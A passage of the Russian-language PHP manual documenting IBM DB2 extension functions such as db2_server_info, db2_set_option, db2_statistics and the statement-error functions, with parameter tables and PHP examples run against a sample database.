MAX_PROC_NAME_LEN | int | Максимальная длина имени процедуры, поддерживаемая сервером базы данных, выраженная в байтах.
MAX_ROW_SIZE | int | Максимальная длина строки в таблице базы данных, поддерживаемая сервером базы данных, выраженная в байтах.
MAX_SCHEMA_NAME_LEN | int | Максимальная длина имени схемы, поддерживаемая сервером базы данных, выраженная в байтах.
MAX_STATEMENT_LEN | int | Максимальная длина SQL-оператора, поддерживаемая сервером базы данных, выраженная в байтах.
MAX_TABLE_NAME_LEN | int | Максимальная длина имени таблицы, поддерживаемая сервером базы данных, выраженная в байтах.
NON_NULLABLE_COLUMNS | bool | true, если сервер базы данных поддерживает столбцы, которые можно определить как NOT NULL, false, если сервер базы данных не поддерживает столбцы, определённые как NOT NULL.
PROCEDURES | bool | true, если сервер базы данных поддерживает использование оператора CALL для вызова хранимых процедур, false, если сервер базы данных не поддерживает оператор CALL.
SPECIAL_CHARS | string | Строка, содержащая все символы, кроме a-Z, 0-9 и подчёркивания, которые можно использовать в имени идентификатора.
SQL_CONFORMANCE string

Уровень соответствия спецификации ANSI/ISO SQL-92, предлагаемый сервером базы данных:

ENTRY

Соответствие начальному уровню SQL-92.

FIPS127

Переходное соответствие FIPS-127-2.

FULL

Полное соответствие стандарту SQL-92.

INTERMEDIATE

Соответствие среднему уровню SQL-92.

Список параметров

connection

Задаёт активное соединение клиента DB2.

Возвращаемые значения

Возвращает объект в случае успешного вызова функции или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования db2_server_info()

Чтобы получить информацию о сервере, вы должны передать действительный ресурс подключения к базе данных в db2_server_info().

<?php

$conn = db2_connect('sample', 'db2inst1', 'ibmdb2');

$server = db2_server_info( $conn );

if ($server) {
echo "DBMS_NAME: "; var_dump( $server->DBMS_NAME );
echo "DBMS_VER: "; var_dump( $server->DBMS_VER );
echo "DB_CODEPAGE: "; var_dump( $server->DB_CODEPAGE );
echo "DB_NAME: "; var_dump( $server->DB_NAME );
echo "INST_NAME: "; var_dump( $server->INST_NAME );
echo "SPECIAL_CHARS: "; var_dump( $server->SPECIAL_CHARS );
echo "KEYWORDS: "; var_dump( sizeof($server->KEYWORDS) );
echo "DFT_ISOLATION: "; var_dump( $server->DFT_ISOLATION );
echo "ISOLATION_OPTION: ";
$il = '';
foreach( $server->ISOLATION_OPTION as $opt )
{
$il .= $opt." ";
}
var_dump( $il );
echo "SQL_CONFORMANCE: "; var_dump( $server->SQL_CONFORMANCE );
echo "PROCEDURES: "; var_dump( $server->PROCEDURES );
echo "IDENTIFIER_QUOTE_CHAR: "; var_dump( $server->IDENTIFIER_QUOTE_CHAR );
echo "LIKE_ESCAPE_CLAUSE: "; var_dump( $server->LIKE_ESCAPE_CLAUSE );
echo "MAX_COL_NAME_LEN: "; var_dump( $server->MAX_COL_NAME_LEN );
echo "MAX_ROW_SIZE: "; var_dump( $server->MAX_ROW_SIZE );
echo "MAX_IDENTIFIER_LEN: "; var_dump( $server->MAX_IDENTIFIER_LEN );
echo "MAX_INDEX_SIZE: "; var_dump( $server->MAX_INDEX_SIZE );
echo "MAX_PROC_NAME_LEN: "; var_dump( $server->MAX_PROC_NAME_LEN );
echo "MAX_SCHEMA_NAME_LEN: "; var_dump( $server->MAX_SCHEMA_NAME_LEN );
echo "MAX_STATEMENT_LEN: "; var_dump( $server->MAX_STATEMENT_LEN );
echo "MAX_TABLE_NAME_LEN: "; var_dump( $server->MAX_TABLE_NAME_LEN );
echo "NON_NULLABLE_COLUMNS: "; var_dump( $server->NON_NULLABLE_COLUMNS );

db2_close($conn);
}
?>

Результат выполнения данного примера:

DBMS_NAME: string(9) "DB2/LINUX"
DBMS_VER: string(10) "08.02.0000"
DB_CODEPAGE: int(1208)
DB_NAME: string(6) "SAMPLE"
INST_NAME: string(8) "db2inst1"
SPECIAL_CHARS: string(2) "@#"
KEYWORDS: int(179)
DFT_ISOLATION: string(2) "CS"
ISOLATION_OPTION: string(12) "UR CS RS RR "
SQL_CONFORMANCE: string(7) "FIPS127"
PROCEDURES: bool(true)
IDENTIFIER_QUOTE_CHAR: string(1) """
LIKE_ESCAPE_CLAUSE: bool(true)
MAX_COL_NAME_LEN: int(30)
MAX_ROW_SIZE: int(32677)
MAX_IDENTIFIER_LEN: int(18)
MAX_INDEX_SIZE: int(1024)
MAX_PROC_NAME_LEN: int(128)
MAX_SCHEMA_NAME_LEN: int(30)
MAX_STATEMENT_LEN: int(2097152)
MAX_TABLE_NAME_LEN: int(128)
NON_NULLABLE_COLUMNS: bool(true)

Смотрите также

  • db2_client_info() - Возвращает объект со свойствами, описывающими клиента DB2

User Contributed Notes

There are no user contributed notes for this page.


Установка опции для соединения или ресурса оператора

  • « db2_server_info
  • db2_special_columns »
  • PHP Manual
  • Функции IBM DB2
  • Установка опции для соединения или ресурса оператора

db2_set_option

(PECL ibm_db2 >= 1.0.0)

db2_set_option — Установка опции для соединения или ресурса оператора

Описание

db2_set_option(resource $resource, array $options, int $type): bool

Установка опции для соединения или ресурса оператора. Для ресурса результирующего набора опции задавать нельзя.

Список параметров

resource

Корректный ресурс оператора, полученный из db2_prepare() или же ресурс соединения, полученный из db2_connect() или db2_pconnect().

options

Ассоциативный массив, содержащий опции, соответствующие ресурсу. Этот параметр можно использовать для изменения режима автоподтверждения транзакций, типа курсора и задания регистра имён столбцов (нижний, верхний, как есть) в результирующем наборе.

autocommit

DB2_AUTOCOMMIT_ON - включить режим автоподтверждения транзакций для заданного соединения.

DB2_AUTOCOMMIT_OFF - отключить режим автоподтверждения транзакций для заданного соединения.

cursor

DB2_FORWARD_ONLY - задать тип курсора "только вперёд". Это тип по умолчанию и он поддерживается всеми базами данных.

DB2_SCROLLABLE - задать тип курсора как "перематываемый". Данный тип курсора позволяет получать доступ к произвольным строкам результирующего набора и доступен только для IBM DB2 Universal Database.

binmode

DB2_BINARY - определяет, что бинарные данные будут возвращены как есть. Это режим по умолчанию, он равносилен заданию ibm_db2.binmode=1 в php.ini.

DB2_CONVERT - определяет, что бинарные данные будут сконвертированы в шестнадцатеричное представление. Равносильно заданию ibm_db2.binmode=2 в php.ini.

DB2_CONVERT - определяет, что бинарные данные будут сконвертированы в null. Равносильно заданию ibm_db2.binmode=3 в php.ini.

db2_attr_case

DB2_CASE_LOWER - определяет, что имена столбцов будут возвращены в нижнем регистре.

DB2_CASE_UPPER - определяет, что имена столбцов будут возвращены в верхнем регистре.

DB2_CASE_NATURAL - определяет, что имена столбцов будут возвращены как есть.

deferred_prepare

DB2_DEFERRED_PREPARE_ON - включает отложенную подготовку ресурса оператора.

DB2_DEFERRED_PREPARE_OFF - выключает отложенную подготовку ресурса оператора.

Следующие новые опции i5/OS доступны в ibm_db2 версии 1.5.1 и выше. Эти опции доступны только если PHP и ibm_db2 запущены на системе i5.

i5_fetch_only

DB2_I5_FETCH_ON - курсоры могут быть только для чтения и не могут использоваться для позиционирования при DELETE или UPDATE. Является поведением по умолчанию, только если переменная окружения SQL_ATTR_FOR_FETCH_ONLY не установлена в SQL_FALSE.

DB2_I5_FETCH_OFF - курсоры можно использовать для позиционирования при DELETE или UPDATE.

Следующие новые опции доступны в ibm_db2 версии 1.8.0 и выше.

rowcount

DB2_ROWCOUNT_PREFETCH_ON - клиент может запросить количество строк перед извлечением, что означает, что функция db2_num_rows() возвратит количество выбранных строк, даже если используется курсор ROLLFORWARD_ONLY.

DB2_ROWCOUNT_PREFETCH_OFF - клиент не может запросить количество строк перед извлечением

Следующие новые опции доступны в ibm_db2 версии 1.7.0 и выше.

trusted_user

Для переведения пользователя в статус доверенного пользователя, укажите идентификатор (строка) доверенного пользователя в качестве значения этого параметра. Эта опция может быть задана только для ресурса соединения. Для использования этой опции необходимо, чтобы для соединения был разрешён доверенный контекст.

trusted_password

Пароль (строка), соответствующий идентификатору пользователя, заданному в trusted_user.

Следующие новые опции доступны в ibm_db2 версии 1.6.0 и выше. Эти опции предоставляют полезную информацию, которую можно получить через db2_get_option().

Замечание:

Если значения каждой опции задано, некоторые серверы могут не суметь обработать все значение и обрежут его.

Для уверенности в том, что все опции сконвертированы корректно при передаче на хост, используйте только символы A-Z, 0-9, подчёркивание(_) и точку (.).

userid

SQL_ATTR_INFO_USERID - указатель на символьную строку, кончающуюся null-байтом и содержащую идентификатор пользователя, переданный базе данный при соединении.

Замечание:

DB2 для серверов z/OS и OS/390 поддерживает длину вплоть до 16 символов. Идентификатор пользователя никак не скомпрометирует идентификатор авторизации - это разные сущности.

acctstr

SQL_ATTR_INFO_ACCTSTR - указатель на символьную строку, кончающуюся null-байтом и использующуюся для идентификации учётной строки клиента, соответствующей посланной на сервер при соединении.

Замечание:

DB2 для серверов z/OS и OS/390 поддерживает длину вплоть до 200 символов.

applname

SQL_ATTR_INFO_APPLNAME - указатель на символьную строку, кончающуюся null-байтом и использующуюся для идентификации имени клиентского приложения, соответствующей посланной на сервер при соединении.

Замечание:

DB2 для серверов z/OS и OS/390 поддерживает длину вплоть до 32 символов.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - указатель на символьную строку, кончающуюся null-байтом и использующуюся для идентификации имени рабочей станции, соответствующей посланной на сервер при соединении.

Замечание:

DB2 для серверов z/OS и OS/390 поддерживает длину вплоть до 18 символов.

type

Целочисленное значение, определяющее тип ресурса, который был передан в функцию.

1 - передан ресурс соединения.

Любое другое значение, отличное от 1 означает ресурс оператора.

Следующая таблица показывает, какие параметры совместимы с какими ресурсами:

Матрица ресурс/параметр
Ключ | Значение | Тип ресурса
 |  | Соединение | Оператор | Результирующий набор
autocommit | DB2_AUTOCOMMIT_ON | X | - | -
autocommit | DB2_AUTOCOMMIT_OFF | X | - | -
cursor | DB2_SCROLLABLE | - | X | -
cursor | DB2_FORWARD_ONLY | - | X | -
binmode | DB2_BINARY | X | X | -
binmode | DB2_CONVERT | X | X | -
binmode | DB2_PASSTHRU | X | X | -
db2_attr_case | DB2_CASE_LOWER | X | X | -
db2_attr_case | DB2_CASE_UPPER | X | X | -
db2_attr_case | DB2_CASE_NATURAL | X | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_ON | - | X | -
deferred_prepare | DB2_DEFERRED_PREPARE_OFF | - | X | -
i5_fetch_only | DB2_I5_FETCH_ON | - | X | -
i5_fetch_only | DB2_I5_FETCH_OFF | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_ON | - | X | -
rowcount | DB2_ROWCOUNT_PREFETCH_OFF | - | X | -
trusted_user | <USER NAME> (String) | X | - | -
trusted_password | <PASSWORD> (String) | X | - | -
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Установка одного параметра для ресурса соединения

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_ON);

/* Вызываем функцию */
$result = db2_set_option($conn, $options, 1);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Options Set Successfully

Пример #2 Установка нескольких параметров для ресурса соединения

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Вызываем функцию */
$result = db2_set_option($conn, $options, 1);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Options Set Successfully

Пример #3 Установка нескольких параметров с одним некорректным ключом

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'MY_INVALID_KEY' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Вызываем функцию */
$result = db2_set_option($conn, $options, 1);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Could Not Set Options

Пример #4 Установка нескольких параметров с одним некорректным значением

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => 'INVALID_VALUE',
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Вызываем функцию */
$result = db2_set_option($conn, $options, 1);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Could Not Set Options

Пример #5 Setting multiple parameters with a connection resource and the wrong type

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

/* Вызываем функцию */
$result = db2_set_option($conn, $options, 2);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Could Not Set Options

Пример #6 Setting multiple parameters with the wrong resource

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE');

/* Вызываем функцию */
$result = db2_set_option($stmt, $options, 1);

/* Проверяем, все ли опции установились */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

Результат выполнения данного примера:

Could Not Set Options

Пример #7 Putting it all together

<?php
/* Параметры соединения с базой данных */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Строка соединения */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Получаем ресурс соединения */
$conn = db2_connect($conn_string, '', '');

/* Создаём ассоциативный массив опций */
$options = array('db2_attr_case' => DB2_CASE_LOWER,
'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE WHERE EMPNO = ? OR EMPNO = ?');

/* Вызываем функцию */
$option_result = db2_set_option($stmt, $options, 2);
$result = db2_execute($stmt, array('000130', '000140'));

/* Получаем строку 2 перед строкой 1. Перематываемый курсор! */
print_r(db2_fetch_assoc($stmt, 2));
print '<br /><br />';
print_r(db2_fetch_assoc($stmt, 1));

?>

Результат выполнения данного примера:

Array
(
    [empno] => 000140
    [firstnme] => HEATHER
    [midinit] => A
    [lastname] => NICHOLLS
    [workdept] => C01
    [phoneno] => 1793
    [hiredate] => 1976-12-15
    [job] => ANALYST
    [edlevel] => 18
    [sex] => F
    [birthdate] => 1946-01-19
    [salary] => 28420.00
    [bonus] => 600.00
    [comm] => 2274.00
)

Array
(
    [empno] => 000130
    [firstnme] => DELORES
    [midinit] => M
    [lastname] => QUINTANA
    [workdept] => C01
    [phoneno] => 4578
    [hiredate] => 1971-07-28
    [job] => ANALYST
    [edlevel] => 16
    [sex] => F
    [birthdate] => 1925-09-15
    [salary] => 23800.00
    [bonus] => 500.00
    [comm] => 1904.00
)

Пример #8 Курсор i5/OS только для чтения

<?php
$conn = db2_connect("", "", "", array("i5_lib"=>"nobody"));
$stmt = db2_prepare($conn, 'select * from names where first = ?');
$name = "first2";
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
$options = array("i5_fetch_only"=>DB2_I5_FETCH_ON);
db2_set_option($stmt,$options,0);
if (db2_execute($stmt)) {
while ($row = db2_fetch_array($stmt)) {
echo "{$row[0]} {$row[1]}";
}
}
?>

Результат выполнения данного примера:

first2 last2

Смотрите также

  • db2_connect() - Возвращает соединение с базой данных
  • db2_pconnect() - Возвращает постоянное соединение с базой данных
  • db2_exec() - Выполняет SQL-запрос напрямую
  • db2_prepare() - Подготавливает SQL-запрос к выполнению
  • db2_cursor_type() - Возвращает тип курсора, который используется в ресурсе оператора

User Contributed Notes

rtejpar at ca dot ibm dot com 03-Nov-2006 07:45
Examples 3 and 4 should output 'Options Set Successfully.'  This is because, only a single option's key/value is set incorrectly (other options are still correct), hence the function must return successfully. (Instead a PHP warning will most probably be issued).


Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы

  • « db2_set_option
  • db2_statistics »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы

db2_special_columns

(PECL ibm_db2 >= 1.0.0)

db2_special_columns — Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы

Описание

db2_special_columns(
resource $connection,
?string $qualifier,
string $schema,
string $table_name,
int $scope
): resource

Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающих на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая таблицы.

table_name

Название таблицы.

scope

Целочисленное значение, представляющее минимальную продолжительность, в течение которой действителен уникальный идентификатор строки. Это может быть одно из следующих значений: values:

Значение | Константа SQL | Описание
0 | SQL_SCOPE_CURROW | Идентификатор строки действителен только тогда, когда курсор находится на строке.
1 | SQL_SCOPE_TRANSACTION | Идентификатор строки действителен на протяжении всей транзакции.
2 | SQL_SCOPE_SESSION | Идентификатор строки действителен в течение всего времени соединения.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки с уникальной информацией идентификатора строки таблицы. Строки состоят из следующих столбцов: following columns:

Название столбца | Описание
SCOPE

Значение | Констант SQL | Описание
0 | SQL_SCOPE_CURROW | Идентификатор строки действителен только тогда, когда курсор находится на строке.
1 | SQL_SCOPE_TRANSACTION | Идентификатор строки действителен на протяжении всей транзакции.
2 | SQL_SCOPE_SESSION | Идентификатор строки действителен в течение всего времени соединения.
COLUMN_NAME | Имя уникального столбца.
DATA_TYPE | Тип данных SQL столбца.
TYPE_NAME | Символьное строковое представление типа данных SQL столбца.
COLUMN_SIZE | Целочисленное значение, представляющее размер столбца.
BUFFER_LENGTH | Максимальное количество байтов, необходимое для хранения данных из этого столбца.
DECIMAL_DIGITS | Масштаб столбца или null, если масштаб не применим.
NUM_PREC_RADIX | Целочисленное значение либо 10 (представляющее точный числовой тип данных), либо 2 (представляющее приблизительный числовой тип данных), либо null (представляющий тип данных, для которого основание системы счисления не применимо).
PSEUDO_COLUMN | Всегда возвращает 1.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_statistics() - Возвращает набор результатов, содержащий индекс и статистику таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор результатов, содержащий индекс и статистику таблицы

  • « db2_special_columns
  • db2_stmt_error »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, содержащий индекс и статистику таблицы

db2_statistics

(PECL ibm_db2 >= 1.0.0)

db2_statistics — Возвращает набор результатов, содержащий индекс и статистику таблицы

Описание

db2_statistics(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name,
bool $unique
): resource

Возвращает набор результатов, содержащий индекс и статистику таблицы.

Список параметров

connection

Допустимое соединение с базой данных IBM DB2, Cloudscape или Apache Derby.

qualifier

Квалификатор для баз данных DB2, работающей на серверах OS/390 или z/OS. Для других баз данных передайте null или пустую строку.

schema

Схема, содержащая целевую таблицу. Если параметр равен null, статистика и индексы возвращаются для схемы текущего пользователя.

table_name

Название таблицы.

unique

Если у параметра unique значение true, возвращается информация для всех индексов в таблице. В противном случае возвращается информация только об уникальных индексах в таблице.

Возвращаемые значения

Возвращает ресурс оператора с набором результатов, содержащим строки, описывающие статистику и индексы для таблиц базы данных, соответствующих указанным параметрам. Строки состоят из следующих столбцов:

Название столбца | Описание
TABLE_CAT | Каталог, содержащий таблицу. Значение null, если в этой таблице нет каталогов.
TABLE_SCHEM | Название схемы, содержащей таблицу.
TABLE_NAME | Название таблицы.
NON_UNIQUE

Целочисленное значение, указывающее, запрещает ли индекс уникальные значения или строка представляет статистику самой таблицы:

Возвращаемое значение | Тип параметра
0 (SQL_FALSE) | Индекс допускает повторяющиеся значения.
1 (SQL_TRUE) | Значения индекса должны быть уникальными.
null | Строка представляет собой статистическую информацию для самой таблицы.
INDEX_QUALIFIER | Строковое значение, представляющее квалификатор, который необходимо добавить к INDEX_NAME, чтобы полностью определить индекс.
INDEX_NAME | Строка, представляющая имя индекса.
TYPE

Целочисленное значение, представляющее тип информации, содержащейся в этой строке набора результатов:

Возвращаемое значение | Тип параметра
0 (SQL_TABLE_STAT) | Строка содержит статистику о самой таблице.
1 (SQL_INDEX_CLUSTERED) | Строка содержит информацию о кластеризованном индексе.
2 (SQL_INDEX_HASH) | Строка содержит информацию о хешированном индексе.
3 (SQL_INDEX_OTHER) | Строка содержит информацию о типе индекса, который не кластеризован и не хеширован.
ORDINAL_POSITION | Позиция столбца (начинается от 1) в индексе. null, если строка содержит статистическую информацию о самой таблице.
COLUMN_NAME | Название столбца (начинается от 1) в индексе. null, если строка содержит статистическую информацию о самой таблице.
ASC_OR_DESC | A, если столбец отсортирован в порядке возрастания, D, если столбец отсортирован в порядке убывания, null, если строка содержит статистическую информацию о самой таблице.
CARDINALITY

Если строка содержит информацию об индексе, этот столбец содержит целочисленное значение, представляющее количество уникальных значений в индексе.

Если строка содержит информацию о самой таблице, этот столбец содержит целочисленное значение, представляющее количество строк в таблице.

PAGES

Если строка содержит информацию об индексе, этот столбец содержит целочисленное значение, представляющее количество страниц, используемых для хранения индекса.

Если строка содержит информацию о самой таблице, этот столбец содержит целочисленное значение, представляющее количество страниц, используемых для хранения таблицы.

FILTER_CONDITION | Всегда возвращает null.

Смотрите также

  • db2_column_privileges() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ним привилегии для таблицы
  • db2_columns() - Возвращает результирующий набор, перечисляющий столбцы и связанные с ними метаданные для таблицы
  • db2_foreign_keys() - Возвращает набор результатов, в котором перечислены внешние ключи таблицы
  • db2_primary_keys() - Возвращает набор результатов, содержащий первичные ключи таблицы
  • db2_procedure_columns() - Возвращает набор результатов со списком параметров хранимой процедуры
  • db2_procedures() - Возвращает набор результатов, в котором перечислены хранимые процедуры, зарегистрированные в базе данных
  • db2_special_columns() - Возвращает набор результатов, в котором перечислены столбцы с уникальным идентификатором строки таблицы
  • db2_table_privileges() - Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных
  • db2_tables() - Возвращает набор результатов, в котором перечислены таблицы и связанные метаданные в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором

  • « db2_statistics
  • db2_stmt_errormsg »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором

db2_stmt_error

(PECL ibm_db2 >= 1.0.0)

db2_stmt_error — Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором

Описание

db2_stmt_error(?resource $stmt = null): string

Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором.

Если вы не передадите ресурс оператора в качестве аргумента в db2_stmt_error(), драйвер вернёт значение SQLSTATE, связанное с последней попыткой вернуть ресурс оператора, например, из db2_prepare() или db2_exec().

Чтобы узнать, что означает значение SQLSTATE, вы можете ввести следующую команду в командной строке процессора DB2: db2 '? sqlstate-value'. Вы также можете вызвать db2_stmt_errormsg(), чтобы получить явное сообщение об ошибке и соответствующее значение SQLCODE.

Список параметров

stmt

Допустимый ресурс оператора.

Возвращаемые значения

Возвращает строку, содержащую значение SQLSTATE.

Смотрите также

  • db2_conn_error() - Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
  • db2_conn_errormsg() - Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
  • db2_stmt_errormsg() - Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

  • « db2_stmt_error
  • db2_table_privileges »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

db2_stmt_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_stmt_errormsg — Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения

Описание

db2_stmt_errormsg(?resource $stmt = null): string

Возвращает строку, содержащую последнее сообщение об ошибке SQL-выражения.

Если вы не передаёте ресурс выражения в качестве аргумента в db2_stmt_errormsg(), драйвер возвращает сообщение об ошибке, связанное с последней попыткой вернуть ресурс оператора, например, из db2_prepare() или db2_exec().

Список параметров

stmt

Допустимый ресурс выражения.

Возвращаемые значения

Возвращает строку, содержащую сообщение об ошибке и значение SQLCODE последней ошибки, возникшей при выдаче SQL-выражения.

Смотрите также

  • db2_conn_error() - Возвращает строку, содержащую значение SQLSTATE, возвращённое последней попыткой подключения
  • db2_conn_errormsg() - Возвращает последнее сообщение об ошибке подключения и значение SQLCODE
  • db2_stmt_error() - Возвращает строку, содержащую SQLSTATE, возвращённую SQL-оператором

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных

  • « db2_stmt_errormsg
  • db2_tables »
  • PHP Manual
  • Функции IBM DB2
  • Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных

db2_table_privileges

(PECL ibm_db2 >= 1.0.0)

db2_table_privileges — Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных

Описание

db2_table_privileges(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null
): resource

Возвращает набор результатов, в котором перечислены таблицы и связанные с ними права доступа к базе данных.

Список параметров

